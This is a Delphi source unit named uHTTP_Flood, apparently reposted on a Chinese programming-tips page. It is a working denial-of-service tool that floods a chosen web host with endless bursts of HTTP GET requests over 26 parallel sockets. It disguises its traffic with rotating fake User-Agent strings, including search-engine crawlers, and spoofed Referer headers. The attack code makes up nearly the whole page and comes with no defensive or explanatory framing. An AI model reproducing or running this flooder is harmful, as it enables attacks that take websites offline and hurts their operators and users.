本文整理自网络，侵删。
//*******************************************//
// Coded by NIV aka coder //
// Made in Belarus //
// Welcome http://forum.codingworld.ru //
//*******************************************//
unit uHTTP_Flood;
interface
uses
Windows, WinSock;
const
UserAgent :array[0..9] of string = (
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12',
'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16',
'Mozilla/5.0 (compatible; Googlebot/2.1',
'Mozilla/5.0 (compatible; msnbot/1.1',
'Mozilla/5.0 (compatible; Yahoo! Slurp',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Opera/9.60 Presto/2.1.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.A.B.C Safari/525.13'
);
Referer :array[0..9] of string = (
'www.yandex.ru',
'www.aport.ru',
'www.rambler.ru',
'www.google.ru',
'www.yahoo.com',
'www.altavista.com',
'www.ya.ru',
'www.meta.ua',
'www.all.by',
'www.lycos.com'
);
var
ThreadHttp :Cardinal;
idThreadHttp :Cardinal;
Http :Boolean;
procedure Make(szHost,szURL :String);
implementation
var
Host :String;
url :String;
function CreateHTTPRequest: String;
var
zapros: String;
// b :TextFile;
begin
begin
Randomize;
zapros:='GET '+URL+' HTTP/1.1'#13#10+
'Host: '+host+ #13#10+
'User-Agent: '+ UserAgent[Random(9)]+ #13#10+
'Accept: */*;q=0.1'#13#10+
'Accept-Encoding: gzip,deflate'#13#10+
'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'#13#10+
'Referer: '+ Referer[Random(9)] + #13#10 +
'Content-Type: application/x-www-form-urlencoded'#13#10+
'Connection: Keep-Alive'#13#10#13#10;
{ begin
assignfile(b, 'LOG_STRING.txt');
append(b);
writeln(b, zapros);
closefile(b);
end; }
end;
Result := zapros;
end;
procedure fWSRecv;
var
hSocket:array [0..400] of TSocket;
hHost: PHostEnt;
hAddr: TSockAddrIn;
zapros,site:string;
c :integer;
begin
site:=host;
zapros:= CreateHTTPRequest;
hHost := gethostbyname(PChar(site));
hAddr.sin_family := AF_INET;
hAddr.sin_port := htons(80);
hAddr.sin_addr := pinaddr(hHost^.h_addr^)^;
while true do
begin
for c := 0 to 25 do
begin
hSocket[c] := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
end;
for c := 0 to 25 do //25
if connect(hSocket[c], hAddr, SizeOf(hAddr)) = SOCKET_ERROR then
begin
closesocket(hSocket[c]);
exit;
end;
for c := 0 to 25 do
if Send(hSocket[c], zapros[1], length(zapros), 0) = SOCKET_ERROR then
exit;
for c := 0 to 25 do
CloseSocket(hSocket[c]);
// --> SuspendThread(ThreadHTTP);
end;end;
//Make('www.site.com','');
// /search.php?searchid=4219
procedure Make(szHost,szURL :String );
var
ws:TwsaData;
begin
WSAStartup($101, ws);
Host := szHost;
URL := szURL;
ThreadHTTP := CreateThread(nil, 0, @fWSRecv, nil, 0, idThreadHTTP);
end;
end.
相关阅读 >>
dbgrid的cellclick事件，单击当前行记录的那一行时，不发生
更多相关阅读请进入《Delphi》频道 >>
